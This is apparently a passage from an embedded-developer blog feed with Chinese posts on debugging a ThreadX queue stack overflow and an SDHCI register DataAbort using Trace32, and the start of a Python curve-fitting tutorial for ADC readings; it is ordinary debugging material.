<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">uint8_t</span> <span class="nf">_wait_queue</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="n">timeout</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">event</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">ql_rtos_queue_wait</span><span class="p">(</span><span class="n">queue</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">event</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">timeout</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span> <span class="n">ret</span> <span class="o">!=</span> <span class="n">QUEC_SUCCESS</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">event</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">_recv_task</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span> <span class="n">argv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="nf">_wait_queue</span><span class="p">(</span><span class="n">QL_WAIT_FOREVER</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;====== ret is :%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="nf">_wait_queue</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;====== ret is :%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">_send_task</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span> <span class="n">argv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">event</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_rtos_queue_release</span><span class="p">(</span><span class="n">queue</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">event</span><span class="p">,</span> <span class="n">QL_WAIT_FOREVER</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;======== send queue success</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">ql_rtos_task_sleep_s</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>从这段应用代码其实看不出来有什么问题，但是死机的时候有个特征：**有时候是PC 指针异常（PC指针的值不是一个函数的入口地址），有时候是访问非法内存（访问不存在的内存地址）。**出现这样的现象，通常会往线程的栈溢出这个方向怀疑，而且还是局部变量或者buffer内存写越界导致的这类栈溢出问题。</p>
<p>有了问题的线索，那就查看消息队列的实现源码，做进一步分析。消息队列的收发接口 ql_rtos_queue_wait  ql_rtos_queue_release 是对底层 rtos threadx 的消息队列的封装，底层 threadx 的移植代码未开源，但可以在 github 上找相近版本的源码来分析问题，threadx 消息队列代码的链接：https://github.com/azure-rtos/threadx/blob/HEAD/common/src/tx_queue_receive.c</p>
<p>查看源码发现，在接收msg的时候，threadx 的消息队列实现会把指针转换为 unsigned long 类型：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.2673o68msbr4.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.43kxq4rflew0.png" alt=""  />
</p>
<p>从下面的代码看，在拷贝 msg 数据的时候，至少会写4个字节的数据：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20211031/xxx.2ezd9ej96nk0.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.4bkncng5kd40.png" alt=""  />
</p>
<p>而测试代码中 uint8_t event 定义的数据只有1个字节大小，在接收 msg 数据的时候 event 这个变量会写越界，从而破坏线程的栈。</p>
<p>加一些调试代码验证这个问题，在定义 event 的前后分别增加两个 buffer，并填充一些已知数据，看接收消息列的 msg  之后是否会有数据越界写到 buffer里面，通过全局变量记录  event 和这两个 buffer 的内存地址，方便在  Trace32 中查看他们的内存数据，在接收消息之后，以访问空指针的方式触发dump，查看内存数据变化。</p>
<p>通过  Trace32 查看死机时候的 dump，接收 msg 的时候，写了4个字节的数据，并把 填充了 0xff 的 buffer 的数据篡改了。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.486r09ynpg80.png" alt=""  />
</p>
<p>再去掉刚才添加的 buffer，查看死机时候的 dump，结果也是 event 变量后面的数据被覆盖，变成 0x7e000000，这个 0x7e000000 在被改写之前应该是一个与函数地址有关的变量，他的值被改了，函数调用结束返回的时候给 PC 指针赋值了一个非法值，也就死机了。至于为什么在接收消息之前加一行打印就不会死机了呢？实际上接收消息的时候栈里面的这段数据还是会被篡改，只是这段数据没那么致命（存储的不是内存地址），变化了也不会引起死机，就如同上面验证的时候添加的 buffer，里面的数据被篡改了也无关紧要。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.2b1dspcioedc.png" alt=""  />
</p>
<p>threadx  消息队列里面收发消息的 msg buffer 大小至少是一个 ULONG（4个字节），且得是 ULONG 大小的倍数，必须确保 msg buffer 里面有足够的空间容纳消息数据，否则会出现局部变量写越界，任务栈被破坏的问题。</p>
<p>总结使用  Trace32 的一些技巧：</p>
<ol>
<li>局部变量越界死机的特征：有时候是 PC 指针异常（ PC 指针的值不是一个函数的入口地址），有时候是访问非法内存（访问不存在的内存地址）。</li>
<li>使用全局变量保存局部变量的地址，然后在  Trace32 里面 dump 内存数据分析。</li>
<li>在问题代码上下文中主动触发 dump，可以访问空指针或者调用平台的 panic 接口，然后通过  Trace32 解析dump 进行分析验证。</li>
</ol>
<p>Trace32 相关文章推荐：</p>
<ol>
<li><a href="https://mp.weixin.qq.com/s/0Bm0O7TZlGt19b5gvWIvSw">使用 Trace32 分析内存溢出死机问题</a></li>
<li><a href="https://mp.weixin.qq.com/s/UKc65TZk8bqlbKTKlS8QDg">用 Trace32 分析死机问题</a></li>
<li><a href="https://mp.weixin.qq.com/s/iM1FJzeNxsS9HrBTMllxzA">FreeRTOS 中的栈溢出检测机制</a></li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>读取寄存器 data abort dump 案例</title>
      <link>https://hacperme.com/posts/series/dump/20211031_register_access_data_abort_dump/</link>
      <pubDate>Sun, 31 Oct 2021 00:25:00 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20211031_register_access_data_abort_dump/</guid>
      <description>读写寄存器 DataAbort dump 案例。</description>
      <content:encoded><![CDATA[<p>dump原因 DataAbort，<strong>Error address (may not be relevant): D4280829</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Software version from AXF file: SDK_1.011.022
</span></span><span class="line"><span class="cl">Software version from Dump files: SDK_1.011.022
</span></span><span class="line"><span class="cl">------------------------------------------------------------------
</span></span><span class="line"><span class="cl">Error description: DataAbort[AT 801A9D34],Unknown
</span></span><span class="line"><span class="cl">Error address (may not be relevant): D4280829
</span></span><span class="line"><span class="cl">Error thread: uiNguxTh, stack range (0x7E6AA140..0x7E6AE13B)
</span></span><span class="line"><span class="cl">RTC time: 00.00.0000-00:00:00 (dd.mm.yy-hh:mm:ss)
</span></span><span class="line"><span class="cl">Gasket registers: PESR=00000000, XESR=00000000, PEAR=00000000, FEAR=00000000, SEAR=00000000, GEAR=00
</span></span><span class="line"><span class="cl">FAULT_STATUS=0x00000001
</span></span><span class="line"><span class="cl">FAULT_ADDRESS=0xD4280829
</span></span><span class="line"><span class="cl">------------------------------------------------------------------
</span></span></code></pre></td></tr></table>
</div>
</div><p>任务调用栈信息，看调用栈，最后是在执行sdhci_dumpregs函数，data abort 的地址 0xD4280829。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.sn16avefy5c.png" alt=""  />
</p>
<p>SDHC 寄存器基地址如下：</p>
<table>
<thead>
<tr>
<th>SD  Host Controller Registers</th>
</tr>
</thead>
<tbody>
<tr>
<td>The base addresses of the  Host Controller registers are:</td>
</tr>
<tr>
<td>SD1: 0xD4280000</td>
</tr>
<tr>
<td>SD2: 0xD4280800</td>
</tr>
<tr>
<td>SD3: 0xD4281000</td>
</tr>
<tr>
<td>SD4: reserved</td>
</tr>
</tbody>
</table>
<p>0xD4280829 是 0xD4280800 + 0x29，也就是操作了 SDHCI_POWER_CONTROL 寄存器。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define SDHCI_POWER_CONTROL			                    0x29
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">sdhci_dumpregs</span><span class="p">(</span><span class="n">UINT32</span> <span class="n">base</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: ============== REGISTER DUMP ==============</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: DMA addr: 0x%08x | Version:  0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_SYSADDR_LOW_offset</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_HOST_VERSION</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Blk size: 0x%08x | Blk cnt:  0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_BLOCK_SIZE_offset</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_BLOCK_COUNT_offset</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Argument: 0x%08x | Trn mode: 0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_ARG_LOW_offset</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_TRANSFER_MODE_offset</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Present:  0x%08x | Host ctl: 0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_PRESENT_STAT_0_offset</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_HOST_CTRL_offset</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Power:    0x%08x | Blk gap:  0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_POWER_CONTROL</span><span class="p">),</span> <span class="cm">/*导致dump的地方*/</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_BGAP_CTRL_offset</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Wake-up:  0x%08x | Clock:    0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readb</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_WAKE_UP_CONTROL</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_CLOCK_CTRL_offset</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Timeout:  0x%08x | Int stat: 0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_SW_RESET_CTRL_offset</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_NORM_INTR_STS_offset</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Int enab: 0x%08x | Sig enab: 0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_NORM_INTR_STS_EBLE_offset</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_NORM_INTR_STS_INTR_EBLE_offset</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: AC12 err: 0x%08x | Slot int: 0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_ACMD12_ERR</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_SLOT_INT_STATUS</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Caps:     0x%08x | Max curr: 0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_CAPABILITIES</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_MAX_CURRENT</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: Command:  0x%08x | RX_CFG_REG:0x%08x</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SD_CMD_offset</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sdio_readl</span><span class="p">(</span><span class="n">base</span><span class="p">,</span><span class="n">SDHCI_RX_CFG_REG</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;SDHCI_HOST_CTRL2: 0x%08x | PRESET_VALUE_FOR_SDR50:0x%08x&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_HOST_CTRL2</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="nf">sdio_readw</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">SDHCI_PRESET_VALUE_FOR_SDR50</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nf">SDIOLOG_TRACE</span><span class="p">(</span><span class="s">&#34;: ===========================================</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>SDHCI_POWER_CONTROL 寄存器地址和描述如下：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.75hikkip1jk0.png" alt=""  />
</p>
<p>0xD4280800 + 0x29 对应 对应图中标黄区域。</p>
<p>sdio_readw(base, SDHCI_POWER_CONTROL) ，sdio_readw 读取两个字节的数据，对应地址范围：0xD4280829-0xD428082B。而其中0xD428082A-0xD428082B 已经是下一个寄存器的地址范围了。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="n">UINT16</span> <span class="nf">sdio_readw</span><span class="p">(</span><span class="n">UINT32</span> <span class="n">base</span><span class="p">,</span> <span class="n">UINT32</span> <span class="n">reg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">volatile</span> <span class="n">UINT16</span><span class="o">*</span> <span class="n">ptr16</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">UINT16</span> <span class="n">tmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">ptr16</span> <span class="o">=</span> <span class="p">(</span><span class="k">volatile</span> <span class="n">UINT16</span><span class="o">*</span><span class="p">)(</span><span class="n">base</span> <span class="o">+</span> <span class="n">reg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">tmp</span> <span class="o">=</span> <span class="o">*</span><span class="n">ptr16</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">tmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>改成sdio_readb(base, SDHCI_POWER_CONTROL)  不会dump，sdio_readb 读取一个字节，也就是说，并不是0xD4280829这个地址不可用，而是访问数据的方式不正确导致dump。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="n">UINT8</span> <span class="nf">sdio_readb</span><span class="p">(</span><span class="n">UINT32</span> <span class="n">base</span><span class="p">,</span> <span class="n">UINT32</span> <span class="n">reg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">volatile</span> <span class="n">UINT8</span><span class="o">*</span> <span class="n">ptr8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">UINT8</span> <span class="n">tmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">ptr8</span> <span class="o">=</span> <span class="p">(</span><span class="k">volatile</span> <span class="n">UINT8</span><span class="o">*</span><span class="p">)(</span><span class="n">base</span> <span class="o">+</span> <span class="n">reg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">tmp</span> <span class="o">=</span> <span class="o">*</span><span class="n">ptr8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">tmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>python 曲线拟合方法</title>
      <link>https://hacperme.com/posts/notes/20210701python_curve_fitting/</link>
      <pubDate>Thu, 01 Jul 2021 00:33:21 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20210701python_curve_fitting/</guid>
      <description>背景 有些产品可能需要用到旋钮来调节音量，比如对讲机，收音机等。如何实现呢？常见的一种实现方案是使用电位器接一个ADC输入，通过ADC检测电压</description>
      <content:encoded><![CDATA[<h2 id="背景">背景</h2>
<p>有些产品可能需要用到旋钮来调节音量，比如对讲机，收音机等。如何实现呢？常见的一种实现方案是使用电位器接一个ADC输入，通过ADC检测电压的大小变化来调节音量大小，软件实现上需要定时检测ADC的电压变化，检测周期长短影响音量调节体验，设置的周期长，反应速度慢，会出现突然声音大或者突然声音小的情况，检测时间太频繁，系统又会频繁唤醒，无法进入低功耗状态。</p>
<p>另一种方式是是使用旋转编码器接几个GPIO，通过旋转编码器可以检测到正转反转，通过其输出信号可以得到旋转角度。</p>
<p>电位器实物图：</p>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/O1CN01NEpJek2FUvFJ3PlGL_!!116528884.20sqf6u1osbk.jpg" alt=""  />
</p>
<p>旋转编码器实物图：</p>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/O1CN01liE5Cs1aChBFtxQiv_!!738263294.5zkjz8b545k0.jpg" alt=""  />
</p>
<p>在某项目中使用ADC+可调电位器的方式实现音量调节功能，电路如下图：</p>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/image-20210704192637951.5n9kcrmwis80.png" alt=""  />
</p>
<p>在使用ADC时发现一个问题，从ADC读取到的电压值并不是实际电压，从ADC读取的电压值范围是0~184mv，测量得到的实际电压为0~1668mv，所以需要对ADC的原始数据做处理，通过软件拟合得到真实电压。遇到问题，解决问题，学习使用python处理曲线拟合的几种方法。</p>
<h2 id="python-调试环境介绍">python 调试环境介绍</h2>
<p>对我的python开发调试环境做个简单介绍，操作系统是win 10，安装的python 是3.8，同时安装了 jupyter lab。</p>
<p>平时一些简单的python脚本编写、算法验证通常都是在 jupyter lab环境上编码调试。</p>
<p>为什么使用jupyter lab呢？</p>
<p>python对我来说是一门辅助性的工具，通常编写的代码量不大，jupyter lab 上可以运行代码，绘图显示方便，同时编写笔记，所以jupyter lab 非常适合我的使用需求，而不需要重量级的IDE开发环境。</p>
<p>下面是一个来自jupyter lab官网的运行界面图，除了支持python，还支持c++、R、Julia等其他编程语言。<img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/labpreview.3z2gylg3xyo0.png" alt=""  />
</p>
<h2 id="python-线性拟合方法">python 线性拟合方法</h2>
<p>线性拟合需要用到的python包有 numpy、matplotlib 和 scipy，通过pip安装即可，然后导入需要用到的python包</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">matplotlib</span> <span class="k">as</span> <span class="nn">mpl</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">numpy</span> <span class="kn">import</span> <span class="n">polyfit</span><span class="p">,</span> <span class="n">poly1d</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">scipy.linalg</span> <span class="kn">import</span> <span class="n">lstsq</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">scipy.stats</span> <span class="kn">import</span> <span class="n">linregress</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>导入从adc读取到的原始数据和实际测量得到的电量数据，数据量不大，定义为列表，然后绘制ADC原始数据和实际电压的曲线图。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
